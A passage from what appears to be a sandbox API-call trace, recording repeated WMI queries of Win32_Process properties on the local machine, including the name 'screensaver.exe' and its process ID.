varVal2=0x0), pType=0x2eb2c9c*=0, plFlavor=0x2eb2ca0*=0 | out: pVal=0x5e8e57c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2eb2c9c*=8, plFlavor=0x2eb2ca0*=64) returned 0x0 [0067.538] SysStringLen (param_1="Win32_Process") returned 0xd [0067.539] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2cf0*=0, plFlavor=0x2eb2cf4*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2cf0*=8, plFlavor=0x2eb2cf4*=64) returned 0x0 [0067.539] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2d18*=0, plFlavor=0x2eb2d1c*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2d18*=8, plFlavor=0x2eb2d1c*=64) returned 0x0 [0067.539] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2d40*=0, plFlavor=0x2eb2d44*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2d40*=8, plFlavor=0x2eb2d44*=64) returned 0x0 [0067.539] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2d68*=0, plFlavor=0x2eb2d6c*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2eb2d68*=3, plFlavor=0x2eb2d6c*=64) returned 0x0 [0067.539] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2d9c*=0, plFlavor=0x2eb2da0*=0 | out: pVal=0x5e8e57c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eaa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2eb2d9c*=8200, plFlavor=0x2eb2da0*=64) returned 0x0 [0067.540] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SERVER", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2dd4*=0, plFlavor=0x2eb2dd8*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2dd4*=8, plFlavor=0x2eb2dd8*=64) returned 0x0 [0067.540] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2dfc*=0, plFlavor=0x2eb2e00*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2dfc*=8, plFlavor=0x2eb2e00*=64) returned 0x0 [0067.540] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2e24*=0, plFlavor=0x2eb2e28*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2e24*=8, plFlavor=0x2eb2e28*=64) returned 0x0 [0067.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5fc | out: puCount=0x5e8e5fc*=0x2) returned 0x0 [0067.540] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5f8*=0x17, pszText=0x0) returned 0x0 [0067.540] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5f8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.540] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="Name", lFlags=0, pVal=0x5e8e5b8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2e9c*=0, plFlavor=0x2eb2ea0*=0 | out: pVal=0x5e8e5b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="screensaver.exe", varVal2=0x0), pType=0x2eb2e9c*=8, plFlavor=0x2eb2ea0*=0) returned 0x0 [0067.540] SysStringLen (param_1="screensaver.exe") returned 0xf [0067.541] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="Name", lFlags=0, pVal=0x5e8e670*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2e9c*=8, plFlavor=0x2eb2ea0*=0 | out: pVal=0x5e8e670*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="screensaver.exe", varVal2=0x0), pType=0x2eb2e9c*=8, plFlavor=0x2eb2ea0*=0) returned 0x0 [0067.541] SysStringLen (param_1="screensaver.exe") returned 0xf [0067.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.541] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.541] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.541] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.541] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.541] IWbemClassObject:GetNames (in: This=0x60fe4a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e50c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e4d8 | out: pNames=0x5e8e4d8*="\x01ƀ\x04") returned 0x0 [0067.541] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.541] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.541] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8e0d4 | out: plLbound=0x5e8e0d4) returned 0x0 [0067.541] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__GENUS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb337c*=0, plFlavor=0x2eb3380*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2eb337c*=3, plFlavor=0x2eb3380*=64) returned 0x0 [0067.542] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__CLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb33b0*=0, plFlavor=0x2eb33b4*=0 | out: pVal=0x5e8e504*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2eb33b0*=8, plFlavor=0x2eb33b4*=64) returned 0x0 [0067.542] SysStringLen (param_1="Win32_Process") returned 0xd [0067.542] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb3404*=0, plFlavor=0x2eb3408*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb3404*=8, plFlavor=0x2eb3408*=64) returned 0x0 [0067.542] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb342c*=0, plFlavor=0x2eb3430*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb342c*=8, plFlavor=0x2eb3430*=64) returned 0x0 [0067.542] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb3454*=0, plFlavor=0x2eb3458*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb3454*=8, plFlavor=0x2eb3458*=64) returned 0x0 [0067.542] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb347c*=0, plFlavor=0x2eb3480*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2eb347c*=3, plFlavor=0x2eb3480*=64) returned 0x0 [0067.542] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb34b0*=0, plFlavor=0x2eb34b4*=0 | out: pVal=0x5e8e504*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2eb34b0*=8200, plFlavor=0x2eb34b4*=64) returned 0x0 [0067.543] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SERVER", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb34e8*=0, plFlavor=0x2eb34ec*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb34e8*=8, plFlavor=0x2eb34ec*=64) returned 0x0 [0067.543] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb3510*=0, plFlavor=0x2eb3514*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb3510*=8, plFlavor=0x2eb3514*=64) returned 0x0 [0067.543] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PATH", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb3538*=0, plFlavor=0x2eb353c*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb3538*=8, plFlavor=0x2eb353c*=64) returned 0x0 [0067.543] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e584 | out: puCount=0x5e8e584*=0x2) returned 0x0 [0067.543] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e580*=0x17, pszText=0x0) returned 0x0 [0067.543] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e580*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.543] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="ProcessId", lFlags=0, pVal=0x5e8e540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb35a0*=0, plFlavor=0x2eb35a4*=0 | out: pVal=0x5e8e540*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x53c, varVal2=0x0), pType=0x2eb35a0*=19, plFlavor=0x2eb35a4*=0) returned 0x0 [0067.544] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="ProcessId", lFlags=0, pVal=0x5e8e5f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb35a0*=19, plFlavor=0x2eb35a4*=0 | out: pVal=0x5e8e5f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x53c, varVal2=0x0), pType=0x2eb35a0*=19, plFlavor=0x2eb35a4*=0) returned 0x0 [0067.544] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.544] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.544] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.544] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.544] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.544] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.544] IWbemClassObject:GetNames (in: This=0x60fe4a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.544] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.544] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.544] SafeArrayGetLBound (in: psa=0x41eaa0, nDim=0x1, plLbound=0x5e8deb4 | out: plLbound=0x5e8deb4) returned 0x0 [0067.544] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb417c*=0, plFlavor=0x2eb4180*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2eb417c*=3, plFlavor=0x2eb4180*=64) returned 0x0 [0067.545] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb41b0*=0, plFlavor=0x2eb41b4*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2eb41b0*=8, plFlavor=0x2eb41b4*=64) returned 0x0 [0067.545] SysStringLen (param_1="Win32_Process") returned 0xd [0067.545] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4204*=0, plFlavor=0x2eb4208*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4204*=8, plFlavor=0x2eb4208*=64) returned 0x0 [0067.545] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb422c*=0, plFlavor=0x2eb4230*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb422c*=8, plFlavor=0x2eb4230*=64) returned 0x0 [0067.545] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4254*=0, plFlavor=0x2eb4258*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4254*=8, plFlavor=0x2eb4258*=64) returned 0x0 [0067.545] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb427c*=0, plFlavor=0x2eb4280*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2eb427c*=3, plFlavor=0x2eb4280*=64) returned 0x0 [0067.545] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb42b0*=0, plFlavor=0x2eb42b4*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eaa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2eb42b0*=8200, plFlavor=0x2eb42b4*=64) returned 0x0 [0067.546] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb42e8*=0, plFlavor=0x2eb42ec*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb42e8*=8, plFlavor=0x2eb42ec*=64) returned 0x0 [0067.546] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4310*=0, plFlavor=0x2eb4314*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4310*=8, plFlavor=0x2eb4314*=64) returned 0x0 [0067.546] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4338*=0, plFlavor=0x2eb433c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4338*=8, plFlavor=0x2eb433c*=64) returned 0x0 [0067.546] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.546] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.546] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.546] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="ProcessId", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb43a0*=0, plFlavor=0x2eb43a4*=0 | out: pVal=0x5e8e320*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x53c, varVal2=0x0), pType=0x2eb43a0*=19, plFlavor=0x2eb43a4*=0) returned 0x0 [0067.546] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="ProcessId", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb43a0*=19, plFlavor=0x2eb43a4*=0 | out: pVal=0x5e8e3d8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x53c, varVal2=0x0), pType=0x2eb43a0*=19, plFlavor=0x2eb43a4*=0) returned 0x0 [0067.547] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.547] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.547] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.547] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.547] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.547] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.547] IWbemClassObject:GetNames (in: This=0x60fe4a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.547] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.547] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.547] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8deb4 | out: plLbound=0x5e8deb4) returned 0x0 [0067.547] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb48a8*=0, plFlavor=0x2eb48ac*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2eb48a8*=3, plFlavor=0x2eb48ac*=64) returned 0x0 [0067.547] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb48dc*=0, plFlavor=0x2eb48e0*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2eb48dc*=8, plFlavor=0x2eb48e0*=64) returned 0x0 [0067.547] SysStringLen (param_1="Win32_Process") returned 0xd [0067.548] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4930*=0, plFlavor=0x2eb4934*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4930*=8, plFlavor=0x2eb4934*=64) returned 0x0 [0067.548] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4958*=0, plFlavor=0x2eb495c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4958*=8, plFlavor=0x2eb495c*=64) returned 0x0 [0067.548] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4980*=0, plFlavor=0x2eb4984*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb4980*=8, plFlavor=0x2eb4984*=64) returned 0x0 [0067.548] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb49a8*=0, plFlavor=0x2eb49ac*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2eb49a8*=3, plFlavor=0x2eb49ac*=64) returned 0x0 [0067.548] 